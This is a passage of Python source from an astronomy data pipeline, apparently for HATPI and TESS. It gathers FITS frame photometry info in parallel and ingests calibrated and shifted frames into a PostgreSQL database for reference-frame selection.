ccd,\n fglob='?-???????_?.fits',\n nworkers=8,\n maxworkertasks=1000):\n \"\"\"This searches in dirlist for all original FITS files matching the specified\n projectid, field, and ccd combination.\n\n Returns a flat list of matching FITS, and list of all fits + their info.\n \"\"\"\n\n # first, go through the directories and get all the original FITS files\n print('%sZ: finding frames matching %s...' %\n (datetime.utcnow().isoformat(), fglob))\n fitslist = []\n for fdir in dirlist:\n fitslist.extend(glob.glob(os.path.join(fdir, fglob)))\n fitslist = sorted(fitslist)\n\n # next, run through all these files and get the info needed\n print('%sZ: %s frames found, getting info...' %\n (datetime.utcnow().isoformat(), len(fitslist)))\n\n pool = mp.Pool(nworkers,maxtasksperchild=maxworkertasks)\n\n tasks = fitslist\n\n # fire up the pool of workers\n results = pool.map(fits_fieldprojectidccd_worker, tasks)\n\n # wait for the processes to complete work\n pool.close()\n pool.join()\n\n # now filter the results based on the requested field, projectid, and ccd\n matchingframes = []\n\n for elem in results:\n\n if (elem[1] and\n elem[1][0] == field and\n elem[1][1] == projectid and\n elem[1][2] == ccd):\n matchingframes.append(elem[0])\n\n print('%sZ: %s frames with field = %s, projectid = %s, and ccd = %s' %\n (datetime.utcnow().isoformat(),\n len(matchingframes),\n field, projectid, ccd))\n\n return matchingframes, results\n\n\n\ndef find_arefshifted_fits_fieldprojectidccd(dirlist,\n field,\n projectid,\n ccd,\n fglob='?-???????_?-xtrns.fits',\n nworkers=8,\n maxworkertasks=1000):\n \"\"\"This searches for all astromref-shifted FITS files matching the\n specified projectid, field, and ccd combination.\n\n Returns a flat list of matching FITS, and list of all fits + their info.\n \"\"\"\n\n return find_original_fits_fieldprojectidccd(dirlist,\n field,\n projectid,\n ccd,\n fglob=fglob,\n nworkers=nworkers,\n maxworkertasks=maxworkertasks)\n\n\n\ndef find_subtracted_fits_fieldprojectidccd(\n dirlist,\n field,\n projectid,\n ccd,\n subtracttype='reverse',\n photreftype='oneframe',\n kernelspec='b/4;i/4;d=4/4',\n nworkers=8,\n maxworkertasks=1000):\n \"\"\"This searches for all subtracted FITS files matching the specified\n projectid, field, and ccd combination.\n\n Returns a flat list of matching FITS, and list of all fits + their info.\n \"\"\"\n\n photrefbit = (\n 'rsub' if subtracttype == 'reverse' else 'nsub'\n )\n # generate the convsubfits hash\n convsubhash = ism.get_convsubfits_hash(\n photreftype,\n subtracttype,\n kernelspec\n )\n\n\n fglob= '%s-%s-?-???????_?-xtrns.fits' % (photrefbit, convsubhash)\n\n return find_original_fits_fieldprojectidccd(dirlist,\n field,\n projectid,\n ccd,\n fglob=fglob,\n nworkers=nworkers,\n maxworkertasks=maxworkertasks)\n\n########################\n## GETTING FRAME INFO ##\n########################\n\ndef get_frame_info(frame):\n \"\"\"\n This gets the needed info from a frame for selecting photref candidates.\n \"\"\"\n\n try:\n\n # find the frame's fistar and fiphot files\n fitsdir = os.path.dirname(frame)\n fitsbase = os.path.splitext(os.path.basename(frame))[0]\n\n # handle gz/fz files\n if '.fits' in fitsbase:\n fitsbase = fitsbase.replace('.fits','')\n\n # if the xtrns files are passed in, make sure we look at the\n # right fistar and fiphot files\n if '-xtrns' in fitsbase:\n fitsbase = fitsbase.rstrip('-xtrns')\n\n photpath = os.path.join(\n fitsdir,\n fitsbase + '.fiphot'\n )\n srclistpath = os.path.join(\n fitsdir,\n fitsbase + '.fistar'\n )\n\n if not (os.path.exists(frame) and\n os.path.exists(photpath) and\n os.path.exists(srclistpath)):\n\n print('ERR! %sZ: frame %s has missing fiphot/fistar, '\n 'so no phot info...' %\n (datetime.utcnow().isoformat(), frame))\n return frame, None\n\n\n\n # 1. get the data from FITS header\n headerdata = get_header_keyword_list(\n frame,\n ['Z','MOONDIST','MOONELEV','MOONPH','HA']\n )\n\n # 2. get the data from the fiphot file\n\n # decide if the phot file is binary or not. read the first 600\n # bytes and look for the '--binary-output' text\n with open(photpath,'rb') as photf:\n header = photf.read(1000)\n\n if '--binary-output' in header.decode('utf-8') and HAVEBINPHOT:\n\n photdata_f = read_fiphot(photpath)\n photdata = {\n 'mag':np.array(photdata_f['per aperture'][2]['mag']),\n 'err':np.array(photdata_f['per aperture'][2]['mag err']),\n 'flag':np.array(\n photdata_f['per aperture'][2]['status flag']\n )\n }\n del photdata_f\n\n elif '--binary-output' in header.decode('utf-8') and not HAVEBINPHOT:\n\n print('WRN! %sZ: %s is a binary phot file, '\n 'but no binary phot reader is present, skipping...' %\n (datetime.utcnow().isoformat(), photpath))\n return frame, None\n\n else:\n\n # read in the phot file\n photdata = np.genfromtxt(\n photpath,\n usecols=(12,13,14),\n dtype='f8,f8,U5',\n names=['mag','err','flag']\n )\n photdata = np.atleast_1d(photdata)\n\n # 3. get the data from the fistar file\n srcdata = np.genfromtxt(srclistpath,\n usecols=(3,5,6),\n dtype='f8,f8,f8',\n names=['background',\n 'svalue',\n 'dvalue'])\n srcdata = np.atleast_1d(srcdata)\n\n # process fiphot data\n if '--binary-output' in header.decode('utf-8'):\n goodind = np.where(photdata['flag'] == 0)\n else:\n goodind = np.where(photdata['flag'] == 'G')\n\n median_mag = np.median(photdata['mag'][goodind])\n\n # these are the quantities we're interested in\n ngood = len(goodind[0])\n median_magerr = np.nanmedian(photdata['err'][goodind])\n medabsdev_mag = np.nanmedian(\n np.abs(photdata['mag'][goodind] - median_mag)\n )\n\n\n # now consolidate all the data\n frameinfo = {\n 'zenithdist':(headerdata['Z']\n if 'Z' in headerdata else np.nan),\n 'moondist':(headerdata['MOONDIST']\n if 'MOONDIST' in headerdata else np.nan),\n 'moonelev':(headerdata['MOONELEV']\n if 'MOONELEV' in headerdata else np.nan),\n 'moonphase':(headerdata['MOONPH']\n if 'MOONPH' in headerdata else np.nan),\n 'hourangle':(headerdata['HA']\n if 'HA' in headerdata else np.nan),\n 'ngoodobjects':ngood,\n 'medmagerr':median_magerr,\n 'magerrmad':medabsdev_mag,\n 'medsrcbgv':np.nanmedian(srcdata['background']),\n 'stdsrcbgv':np.nanstd(srcdata['background']),\n 'medsval':np.nanmedian(srcdata['svalue']),\n 'meddval':np.nanmedian(srcdata['dvalue']),\n }\n\n return frame, frameinfo\n\n except Exception as e:\n\n print('ERR! %sZ: could not get info from frame %s, error was: %s' %\n (datetime.utcnow().isoformat(), frame, e))\n return frame, None\n\n\n\ndef fitslist_frameinfo(fitslist,\n forcecollectinfo=False,\n nworkers=8,\n maxworkertasks=1000):\n \"\"\"\n This runs a parallel get_frame_info job.\n \"\"\"\n\n # check if we have it in the frameinfo cache, if so, use it. if not, redo\n # the info collection, and then write it back to the cache.\n cachefile = os.path.join(FRAMEINFOCACHEDIR,\n ('TM-frameinfo-%s.pkl.gz' %\n md5(repr(fitslist).encode('utf-8')).hexdigest()))\n\n if os.path.exists(cachefile) and not forcecollectinfo:\n\n with gzip.open(cachefile,'rb') as infd:\n frameinfo = pickle.load(infd)\n\n print('%sZ: frameinfo found in cache file: %s' %\n (datetime.utcnow().isoformat(), cachefile))\n\n return frameinfo\n\n # if the cache doesn't exist, we'll run the frameinfo procedure and write\n # the results back to the cache\n else:\n\n print('%sZ: getting frameinfo for %s frames...' %\n (datetime.utcnow().isoformat(), len(fitslist)))\n\n pool = mp.Pool(nworkers,maxtasksperchild=maxworkertasks)\n\n tasks = fitslist\n\n # fire up the pool of workers\n results = pool.map(get_frame_info, tasks)\n\n # wait for the processes to complete work\n pool.close()\n pool.join()\n\n # now turn everything into ndarrays\n frames = np.array([x[0] for x in results])\n zenithdist = np.array([(x[1]['zenithdist']\n if x[1] else np.nan) for x in results])\n moondist = np.array([(x[1]['moondist']\n if x[1] else np.nan) for x in results])\n moonelev = np.array([(x[1]['moonelev']\n if x[1] else np.nan) for x in results])\n moonphase = np.array([(x[1]['moonphase']\n if x[1] else np.nan) for x in results])\n hourangle = np.array([(x[1]['hourangle']\n if x[1] else np.nan) for x in results])\n ngoodobjects = np.array([(x[1]['ngoodobjects']\n if x[1] else np.nan) for x in results])\n medmagerr = np.array([(x[1]['medmagerr']\n if x[1] else np.nan) for x in results])\n magerrmad = np.array([(x[1]['magerrmad']\n if x[1] else np.nan) for x in results])\n medsrcbgv = np.array([(x[1]['medsrcbgv']\n if x[1] else np.nan) for x in results])\n stdsrcbgv = np.array([(x[1]['stdsrcbgv']\n if x[1] else np.nan) for x in results])\n medsval = np.array([(x[1]['medsval']\n if x[1] else np.nan) for x in results])\n meddval = np.array([(x[1]['meddval']\n if x[1] else np.nan) for x in results])\n\n\n outdict = {'frames':frames,\n 'zenithdist':zenithdist,\n 'moondist':moondist,\n 'moonelev':moonelev,\n 'moonphase':moonphase,\n 'hourangle':hourangle,\n 'ngoodobjects':ngoodobjects,\n 'medmagerr':medmagerr,\n 'magerrmad':magerrmad,\n 'medsrcbgv':medsrcbgv,\n 'stdsrcbgv':stdsrcbgv,\n 'medsval':medsval,\n 'meddval':meddval}\n\n with gzip.open(cachefile,'wb') as outfd:\n pickle.dump(outdict, outfd, pickle.HIGHEST_PROTOCOL)\n\n print('%sZ: wrote frameinfo to cache file: %s' %\n (datetime.utcnow().isoformat(), cachefile))\n\n return outdict\n\n\n\n######################################\n## PUTTING FRAMES INTO THE DATABASE ##\n######################################\n\ndef calibrated_frame_to_database(fitsfile,\n observatory='hatpi',\n overwrite=False,\n badframetag='badframes',\n nonwcsframes_are_ok=False,\n custom_projid=False,\n database=None):\n \"\"\"\n This puts a fully calibrated FITS into the database.\n\n Requires that the frame have gone through the full\n cron_transfer_calibrate.autocal_fitsdir function process, so that it has an\n extracted source list (fistar), astrometry attempted on it (wcs), and basic\n aperture photometry carried out (fiphot).\n\n Searches the same directory as the FITS for fistar, fiphot, and wcs\n files. Should be used with a \"find {fitsdir} -type f -name '?-*_?.fits'\"\n command to generate the list of the FITS files, so that it can work on bad\n frames that have been moved to the {badframedir} subdirectory of {fitsdir}.\n\n Args:\n\n fitsfile (str): path to fits file\n\n Kwargs:\n\n observatory (str): hatpi or tess\n\n overwrite (bool): whether to overwrite sql rows\n\n badframetag (str): string for subdirectory where the badframes are\n\n nonwcsframes_are_ok (bool): if False, then frames without wcs will be\n marked as badframes. If a frame doesn't have an accompanying wcs or\n fiphot, it will be tagged with frameisok = false in the database as\n well.\n\n custom_projid (str): Custom project ID\n\n database: if passing pg.connect() instance\n \"\"\"\n\n # open database connection\n if database:\n cursor = database.cursor()\n closedb = False\n else:\n database = pg.connect(user=PGUSER,\n password=PGPASSWORD,\n database=PGDATABASE,\n host=PGHOST)\n cursor = database.cursor()\n closedb = True\n\n try:\n\n # get paths to frame's fistar, wcs, and fiphot files\n fits = os.path.abspath(fitsfile)\n prospective_fistar = fits.replace('.fits','.fistar')\n prospective_fiphot = fits.replace('.fits','.fiphot')\n prospective_wcs = fits.replace('.fits','.wcs')\n\n if observatory == 'hatpi':\n header_list = ['PROJID','OBJECT','JD','EXPTIME',\n 'STVER','MTID','MTVER',\n 'CMID','CMVER','TELID','TELVER','FOV',\n 'BIASVER','DARKVER','FLATVER','MNTSTATE','PTVER',\n 'FILID','IMAGETYP','RA','DEC',\n 'MOONDIST','MOONELEV','MOONPH',\n 'HA','Z','MGENSTAT','WIND','HUMIDITY','SKYTDIFF','AMBTEMP',\n 'DEWPT','FOCUS', 'COMMENT']\n\n elif observatory == 'tess':\n header_list = ['PROJID', 'CAMERA', 'CCD', 'TSTART', 'TSTOP',\n 'CRVAL1', 'CRVAL2', 'RA_NOM', 'DEC_NOM', 'ROLL_NOM',\n 'DQUALITY', 'CCDTEMP']\n\n else:\n raise ValueError('observatory must be tess or hatpi')\n\n # get header keywords from header_list\n headerdata = get_header_keyword_list(fitsfile, header_list)\n\n # get the frame's photometry info (useful for selecting refs)\n photfits, photinfo = get_frame_info(fitsfile)\n\n # check if frames are bad\n if nonwcsframes_are_ok:\n badframecheck = (\n os.path.exists(prospective_fistar) and\n os.path.exists(prospective_fiphot) and\n (badframetag not in os.path.abspath(fitsfile))\n )\n\n else:\n badframecheck = (\n os.path.exists(prospective_fistar) and\n os.path.exists(prospective_wcs) and\n os.path.exists(prospective_fiphot) and\n (badframetag not in os.path.abspath(fitsfile))\n )\n\n # if this is a bad frame set stuff accordingly\n if badframecheck:\n frameisok = True\n fits = os.path.abspath(fitsfile)\n fistar = os.path.abspath(prospective_fistar)\n if os.path.exists(prospective_wcs):\n wcs = os.path.abspath(prospective_wcs)\n else:\n wcs = None\n fiphot = os.path.abspath(prospective_fiphot)\n\n else:\n frameisok = False\n fits = os.path.abspath(fitsfile)\n if os.path.exists(prospective_fistar):\n fistar = os.path.abspath(prospective_fistar)\n else:\n fistar = None\n if os.path.exists(prospective_wcs):\n wcs = os.path.abspath(prospective_wcs)\n else:\n wcs = None\n if os.path.exists(prospective_fiphot):\n fiphot = os.path.abspath(prospective_fiphot)\n else:\n fiphot = None\n\n # Convert fits COMMENT (many lines!) to a dictionary that merges all the\n # comments. The mega-comment string will be\n # formatted like this:\n # \"'Weather.WTextern=0'|'Weather.WTweb=0'|'Weather.WTparan=3'|\"\n # For HATPI, these COMMENTS include info on camera groups, dome status,\n # mount status, filter, observe info, station IDs, weather, bias, flats\n # and darks applied.\n\n fitsheader = headerdata\n\n if observatory=='hatpi':\n\n # replace whitespace by underscores because json binary does not\n # respect whitespace.\n bigstr = re.sub('\\\\n=\\ ','|',\n repr(headerdata['COMMENT'])).replace(' ','_')\n\n # make the dict that parses the comment lines\n # keep only the comment lines in the format \"*=*\"\n commentdict = {}\n for commentline in bigstr.split(\"'|'\"):\n if len(commentline.split('='))==2:\n commentdict[commentline.split('=')[0]] = commentline.split('=')[1]\n\n fitsheader['COMMENT'] = commentdict\n\n fitsheader = {(k if not pd.isnull(v) else k):\n (v if not pd.isnull(v) else 'NaN')\n for k,v in fitsheader.items()}\n\n if custom_projid is not None and isinstance(custom_projid,int):\n\n # if forced, overwrite PROJID from the fits header with whatever is\n # passed. this is relevant for PSQL bookkeeping situations in which\n # you are using the same calibrated frames across different\n # projids (to save disk space).\n\n fitsheader['PROJID'] = custom_projid\n\n fitsheaderjson = Json(fitsheader)\n\n if photinfo:\n photinfo = {(k if not pd.isnull(v) else k):\n (v if not pd.isnull(v) else 'NaN')\n for k,v in photinfo.items()}\n photinfojson = Json(photinfo)\n else:\n photinfojson = None\n\n if overwrite:\n query = (\"insert into calibratedframes (\"\n \"fits, fistar, fiphot, wcs, fitsheader, photinfo, \"\n \"frameisok) values (\"\n \"%s, %s, %s, %s, %s, %s, \"\n \"%s) on conflict \"\n \"(fits) do update \"\n \"set fistar = %s, fiphot = %s, wcs = %s, \"\n \"fitsheader = %s, photinfo = %s, frameisok = %s, \"\n \"entryts = current_timestamp\")\n params = (fits, fistar, fiphot, wcs, fitsheaderjson, photinfojson,\n frameisok, fistar, fiphot, wcs,\n fitsheaderjson, photinfojson, frameisok)\n else:\n # one row per fits image. if the fits image already has a row, do\n # nothing.\n query = (\"insert into calibratedframes (\"\n \"fits, fistar, fiphot, wcs, fitsheader, photinfo, \"\n \"frameisok) values (\"\n \"%s, %s, %s, %s, %s, %s, \"\n \"%s) on conflict (fits) do nothing\" )\n params = (fits, fistar, fiphot, wcs, fitsheaderjson, photinfojson,\n frameisok)\n\n if DEBUG:\n print('query: {:s}\\nparams: {:s}'.format(repr(query),repr(params)))\n\n # execute the query and commit\n cursor.execute(query, params)\n database.commit()\n\n message = (\n 'inserted {:s} into calibratedframes (or not if conflict) -- OK'.\n format(fits)\n )\n print('%sZ: %s' %\n (datetime.utcnow().isoformat(), message) )\n returnval = (fits, True)\n\n # catch the overwrite = False scenario\n except pg.IntegrityError as e:\n\n database.rollback()\n\n message = ('failed to insert %s '\n 'into DB because it exists already '\n 'and overwrite = False'\n % fitsfile)\n print('EXC! %sZ: %s\\n%s' %\n (datetime.utcnow().isoformat(), message, format_exc()) )\n returnval = (fitsfile, False)\n\n\n # if everything goes wrong, exit cleanly\n except Exception as e:\n\n database.rollback()\n\n message = 'failed to insert %s into DB' % fitsfile\n print('EXC! %sZ: %s\\nexception was: %s' %\n (datetime.utcnow().isoformat(),\n message, format_exc()) )\n returnval = (fitsfile, False)\n\n finally:\n\n cursor.close()\n if closedb:\n database.close()\n\n return returnval\n\n\n\ndef calframe_to_db_worker(task):\n \"\"\"\n This wraps calibrated_frames_to_database for the parallel driver below.\n \"\"\"\n\n fitsfile, kwargs = task\n return calibrated_frame_to_database(fitsfile, **kwargs)\n\n\n\ndef arefshifted_frame_to_database(\n fitsfile,\n overwrite=False,\n badframetag='badframes',\n nonwcsframes_are_ok=False,\n custom_projid=None,\n database=None):\n \"\"\"\n This puts a shifted-to-astromref xtrns FITS into the DB.\n\n fitsfile: of the shifted image, for example:\n\n /nfs/phtess1/ar1/HATPI/HP0/RED/projid12-G577-ccd8-sdssr/1-439340f_8-xtrns.fits\n\n Associates it with the framekey of the original FITS. Adds info on shift\n success, (optionally) the shifted-frame's x and y direction gradients\n calculated, and its full path. Adds info about the itrans file used as\n well.\n\n DONE:\n * given a fitsfile, will put it into arefshiftedframes\n\n TODO:\n * include \"warp check\" flagging\n * include \"badframe\" tagging\n\n \"\"\"\n\n if nonwcsframes_are_ok:\n raise NotImplementedError\n\n # open a database connection\n if database:\n cursor = database.cursor()\n closedb = False\n else:\n database = pg.connect(user=PGUSER,\n password=PGPASSWORD,\n database=PGDATABASE,\n host=PGHOST)\n database.autocommit = True\n cursor = database.cursor()\n closedb = True\n\n # get the values: arefshiftedframe, astomref, origframekey, itrans,\n # shiftisok, didwarpcheck\n arefshiftedframe = fitsfile\n\n frameelems = get_header_keyword_list(arefshiftedframe, ['object',\n 'projid'])\n\n felems = FRAMEREGEX.findall(os.path.basename(arefshiftedframe))\n\n if felems and felems[0]:\n\n ccd = felems[0][2]\n frameinfo = {'field':frameelems['object'],\n 'ccd':ccd,\n 'projectid':frameelems['projid']}\n\n if custom_projid is not None:\n frameinfo['projectid'] = custom_projid\n\n # find this frame's associated active astromref\n astromref = dbget_astromref(frameinfo['projectid'], frameinfo['field'],\n frameinfo['ccd'])\n\n # areffistar = astromref['framepath'].replace('.fits', '.fistar')\n\n # get frame key for the original (calibrated) fits frame:\n originalfits = re.sub('-xtrns.fits', '.fits', arefshiftedframe)\n query = \"select framekey from calibratedframes where fits = '{:s}'\".format(\n originalfits)\n\n cursor.execute(query)\n row = cursor.fetchone()\n if row is None:\n print(query)\n\n origframekey = row[0] # keeps long type\n\n if cursor.fetchone():\n raise Exception('there should be only a single entry for each unique fits')\n\n itrans = re.sub('-xtrns.fits', '.itrans', fitsfile)\n shiftisok = True if os.path.exists(fitsfile) else False\n didwarpcheck = False # NOTE: may need to change if warp check is necessary\n\n if didwarpcheck:\n raise NotImplementedError\n warpcheckmargin = _\n warpcheckthresh = _\n warpinfopickle = _\n\n # start work here\n try:\n\n # put together the query and execute it, inserting the object into the\n # database and overwriting if told to do so\n if overwrite:\n if didwarpcheck:\n query = (\"insert into arefshiftedframes (\"\n \"arefshiftedframe, \"\n \"origframekey, \"\n \"astromref, \"\n \"itrans, \"\n \"shiftisok, \"\n \"didwarpcheck, \"\n \"warpcheckmargin, \"\n \"warpcheckthresh, \"\n \"warpinfopickle \"\n \") values (\"\n \"%s, %s, %s, %s, %s, \"\n \"%s, %s, %s, %s \"\n \") on conflict ( \"\n \" arefshiftedframe, astromref \"\n \") do update set \"\n \"origframekey = %s, \"\n \"astromref = %s, \"\n \"shiftisok = %s, didwarpcheck = %s, \"\n \"warpcheckmargin = %s, warpcheckthresh = %s, \"\n \"warpinfopickle = %s, \"\n \"entryts = current_timestamp\")\n params = (arefshiftedframe, origframekey,\n astromref['framepath'],\n itrans, shiftisok,\n didwarpcheck,\n warpcheckmargin, warpcheckthresh,\n warpinfopickle,\n origframekey, astromref['framepath'],\n shiftisok, didwarpcheck,\n warpcheckmargin, warpcheckthresh,\n warpinfopickle\n )\n\n else:\n query = (\"insert into arefshiftedframes (\"\n \"arefshiftedframe, \"\n \"origframekey, \"\n \"astromref, \"\n \"itrans, \"\n \"shiftisok, \"\n \"didwarpcheck \"\n \") values (\"\n \"%s, %s, %s, %s, %s, \"\n \"%s \"\n \") on conflict (\"\n \" arefshiftedframe, astromref \"\n \") do update set \"\n \"origframekey = %s, \"\n \"itrans = %s, \"\n \"shiftisok = %s, didwarpcheck = %s, \"\n \"entryts = current_timestamp\"\n )\n params = (arefshiftedframe,\n origframekey,\n astromref['framepath'],\n itrans,\n shiftisok,\n didwarpcheck,\n origframekey, itrans,\n shiftisok, didwarpcheck\n )\n\n\n else:\n if didwarpcheck:\n query = (\"insert into arefshiftedframes (\"\n \"arefshiftedframe, \"\n \"origframekey, \"\n \"astromref, \"\n \"itrans, \"\n \"shiftisok, \"\n \"didwarpcheck, \"\n \"warpcheckmargin, \"\n \"warpcheckthresh, \"\n \"warpinfopickle \"\n \") values (\"\n \"%s, %s, %s, %s, %s, \"\n \"%s, %s, %s, %s \"\n \") \")\n params = (arefshiftedframe,\n origframekey,\n astromref['framepath'],\n itrans,\n shiftisok,\n didwarpcheck,\n warpcheckmargin,\n warpcheckthresh,\n warpinfopickle\n )\n\n else:\n query = (\"insert into arefshiftedframes (\"\n \"arefshiftedframe, \"\n \"origframekey, \"\n \"astromref, \"\n \"itrans, \"\n \"shiftisok, \"\n \"didwarpcheck \"\n \") values (\"\n \"%s, %s, %s, %s, %s, \"\n \"%s \"\n \") \")\n params = (arefshiftedframe,\n origframekey,\n astromref['framepath'],\n itrans,\n shiftisok,\n didwarpcheck\n )\n\n # execute the query and commit\n cursor.execute(query, params)\n database.commit()\n\n message = 'inserted %s into DB' % arefshiftedframe\n print('%sZ: %s' %\n (datetime.utcnow().isoformat(), message) )\n\n returnval = (fitsfile, True)\n\n # catch the overwrite = False scenario\n except pg.IntegrityError as e:\n\n database.rollback()\n\n message = ('failed to insert %s '\n 'into DB because it exists already '\n 'and overwrite = False'\n % fitsfile)\n print('EXC! %sZ: %s\\n%s' %\n (datetime.utcnow().isoformat(), message, format_exc()) )\n returnval = (fitsfile, False)\n\n\n # if everything goes wrong, exit cleanly\n except Exception as e:\n\n database.rollback()\n\n message = 'failed to insert %s into DB' % fitsfile\n print('EXC! %sZ: %s\\nexception was: %s' %\n (datetime.utcnow().isoformat(),\n message, format_exc()) )\n returnval = (fitsfile, False)\n\n finally:\n\n cursor.close()\n if closedb:\n database.close()\n\n return returnval\n\n\n\ndef arefshifted_frame_to_db_worker(task):\n \"\"\"\n This wraps arefshifted_frame_to_database for the parallel driver below.\n \"\"\"\n\n fitsfile, kwargs = task\n return arefshifted_frame_to_database(fitsfile, **kwargs)\n\n\n\ndef parallel_frames_to_database(fitsbasedir,\n frametype,\n observatory='hatpi',\n fitsglob='1-???????_?.fits',\n overwrite=False,\n badframetag='badframes',\n nonwcsframes_are_ok=False,\n nworkers=16,\n maxworkertasks=1000,\n custom_projid=None):\n \"\"\"\n This runs a DB ingest on all FITS located in fitsbasedir and subdirs. Runs\n a 'find' subprocess to find all the FITS to process. If the frames have\n already been injested, based on their fits file paths they will not be\n changed.\n\n Args:\n fitsbasedir: base directory with fits files. For example,\n `/nfs/phtess1/ar1/HATPI/HP0/RED/projid12-G577-ccd8-sdssr/`\n\n frametype: 'calibratedframes' and 'arefshifted_frames' are the currently\n implemented options, corresponding to putting calibrated frames,\n and astrometrically shifted frames, into the database.\n\n fitsglob: if arefshifted frames, it's actually '1-???????_?-xtrns.fits'\n\n custom_projid: specify a custom project ID (useful for running experiments)\n\n \"\"\"\n # find all the FITS files\n print('%sZ: finding all FITS frames matching %s starting in %s' %\n (datetime.utcnow().isoformat(), fitsglob, fitsbasedir))\n\n fitslist = np.sort(glob.glob(os.path.join(fitsbasedir, fitsglob)))\n if not (frametype=='calibratedframes'\n or frametype=='arefshifted_frames'):\n raise NotImplementedError\n\n # choose the frame to database worker\n # generate the task list\n if frametype == 'calibratedframes':\n frame_to_db_worker = calframe_to_db_worker\n tasks = [(x, {'observatory':observatory,\n 'overwrite':overwrite,\n 'nonwcsframes_are_ok':nonwcsframes_are_ok,\n 'badframetag':badframetag,\n 'custom_projid':custom_projid}) for x in fitslist]\n elif frametype == 'arefshifted_frames':\n frame_to_db_worker = arefshifted_frame_to_db_worker\n tasks = [(x, {'overwrite':overwrite,\n 'nonwcsframes_are_ok':nonwcsframes_are_ok,\n 'badframetag':badframetag,\n 'custom_projid':custom_projid}) for x in fitslist]\n\n print('%sZ: %s files to send to db' %\n (datetime.utcnow().isoformat(), len(tasks)))\n\n if len(tasks) > 0:\n\n pool = mp.Pool(nworkers,maxtasksperchild=maxworkertasks)\n results = pool.map(frame_to_db_worker, tasks)\n\n # wait for the processes to complete work\n pool.close()\n pool.join()\n\n return {x:y for (x,y) in results}\n\n else:\n\n print('ERR! %sZ: none of the files specified exist, bailing out...' %\n (datetime.utcnow().isoformat(),))\n return\n\n\n\ndef dbupdate_calibratedframe(fitspath,\n column, newval,\n database=None):\n \"\"\"\n This updates a column of the calibratedframes table for a frame.\n \"\"\"\n\n # open a database connection\n if database:\n cursor = database.cursor()\n closedb = False\n else:\n database = pg.connect(user=PGUSER,\n password=PGPASSWORD,\n database=PGDATABASE,\n host=PGHOST)\n database.autocommit = True\n cursor = database.cursor()\n closedb = True\n\n # start work here\n try:\n\n query = (\"update calibratedframes \"\n \"set {column} = %s, entryts = current_timestamp \"\n \"where fits = %s\").format(column=column)\n params = (newval, fitspath)\n cursor.execute(query, params)\n database.commit()\n\n return (fitspath, {column:newval})\n\n # if everything goes wrong, exit cleanly\n except Exception as e:\n\n database.rollback()\n\n message = 'failed to update %s in DB' % fitspath\n print('EXC! %sZ: %s\\nexception was: %s' %\n (datetime.utcnow().isoformat(),\n message, format_exc()) )\n returnval = (fitspath, False)\n\n # TEMPORARY\n # raise\n\n\n finally:\n\n cursor.close()\n if closedb:\n database.close()\n\n return returnval\n\n\n\n\ndef convsubtracted_frame_to_database(\n fitsfile,\n overwrite=False,\n badframetag='badframes',\n database=None):\n \"\"\"\n This puts a convolved and subtracted FITS into the DB.\n\n Associates it with the framekey of the original FITS and the framekey of the\n aref-shifted frame. Adds info on subtraction success, its full path. Adds\n info about the kernel, and photref used, and type of photref used for\n subtraction.\n \"\"\"\n\n # open a database connection\n if database:\n cursor = database.cursor()\n closedb = False\n else:\n database = pg.connect(user=PGUSER,\n password=PGPASSWORD,\n database=PGDATABASE,\n host=PGHOST)\n database.autocommit = True\n cursor = database.cursor()\n closedb = True\n\n # start work here\n try:\n\n query = (\"\")\n params = ()\n\n # if everything goes wrong, exit cleanly\n except Exception as e:\n\n database.rollback()\n\n message = 'failed to update %s in DB' % fitspath\n print('EXC! %sZ: %s\\nexception was: %s' %\n (datetime.utcnow().isoformat(),\n message, format_exc()) )\n returnval = (fitspath, False)\n\n # TEMPORARY\n # raise\n\n\n finally:\n\n cursor.close()\n if closedb:\n database.close()\n\n return returnval\n\n\n\n##################################\n## ASTROMETRIC REFERENCE FRAMES ##\n##################################\n\ndef dbgen_get_astromref(fieldinfo, observatory='hatpi', makeactive=True,\n overwrite=False, refdir=REFBASEDIR, database=None):\n\n \"\"\"\n This gets all the frame info from the DB and finds a good astromref.\n\n Args:\n\n fieldinfo: dict with keys that point to values for projectid,\n field, and ccd (if HATPI), or camera and ccd (if TESS).\n \"\"\"\n\n if not os.path.exists(refdir):\n os.mkdir(refdir)\n\n # open a database connection\n if database:\n cursor = database.cursor()\n closedb = False\n else:\n database = pg.connect(user=PGUSER,\n password=PGPASSWORD,\n database=PGDATABASE,\n host=PGHOST)\n database.autocommit = True\n cursor = database.cursor()\n closedb = True\n\n try:\n\n # get all the frame info for the requested projectid-field-ccd\n if observatory == 'hatpi':\n\n # e.g., projectid = 12, field = 'G1830-2230_577', ccd = 8\n projectid = fieldinfo['projectid']\n field = fieldinfo['field']\n ccd = fieldinfo['ccd']\n # \"camera\" is 0 for HATPI. (would be set by postgres db otherwise)\n camera = 0\n\n query = (\"select framekey, fits, fistar, fiphot, \"\n \"photinfo->'medsval', \"\n \"photinfo->'meddval', photinfo->'medsrcbgv', \"\n \"photinfo->'ngoodobjects' \"\n \"from calibratedframes where \"\n \"(fitsheader->'PROJID' = %s) and \"\n \"(replace(fitsheader->'OBJECT'#>>'{}','-','') = %s) and \"\n \"(fitsheader->'COMMENT'->>'CamGroups.CGncam' = %s) and \"\n \"(frameisok = true)\")\n\n # NOTE: the replace line is needed because of insane json rules that\n # say you are not allowed \"-\" characters. Best I could come up with.\n # This approach to ccd number extraction is also silly. Why is\n # it not already in the fits header?\n\n params = (str(projectid), field.replace('-',''), str(ccd))\n\n elif observatory == 'tess':\n\n # e.g., camera=1, ccd=1, field='ete6'\n camera = fieldinfo['camera']\n ccd = fieldinfo['ccd']\n field = fieldinfo['field']\n projectid = fieldinfo['projectid']\n\n query = (\"select framekey, fits, fistar, fiphot, \"\n \"photinfo->'medsval', \"\n \"photinfo->'meddval', photinfo->'medsrcbgv', \"\n \"photinfo->'ngoodobjects' \"\n \"from calibratedframes where \"\n \"(fitsheader->'PROJID' = %s) and \"\n \"(fitsheader->'CAMERA' = %s) and \"\n \"(fitsheader->'CCD' = %s) and \"\n \"(frameisok = true)\")\n\n params = (str(projectid), str(camera), str(ccd))\n\n if DEBUG:\n print('query: {:s}\\nparams: {:s}'.format(\n repr(query),repr(params)))\n\n else:\n raise ValueError('observatory must be tess or hatpi')\n\n cursor.execute(query, params)\n rows = cursor.fetchall()\n\n # if we're successful\n if rows and len(rows) > 0:\n\n # get the frame info\n\n framekey = np.array([x[0] for x in rows])\n fits = np.array([x[1] for x in rows])\n fistar = np.array([x[2] for x in rows])\n fiphot = np.array([x[3] for x in rows])\n\n mfs = np.array([x[4] for x in rows], dtype=np.float)\n mfd = np.array([x[5] for x in rows], dtype=np.float)\n mbg = np.array([x[6] for x in 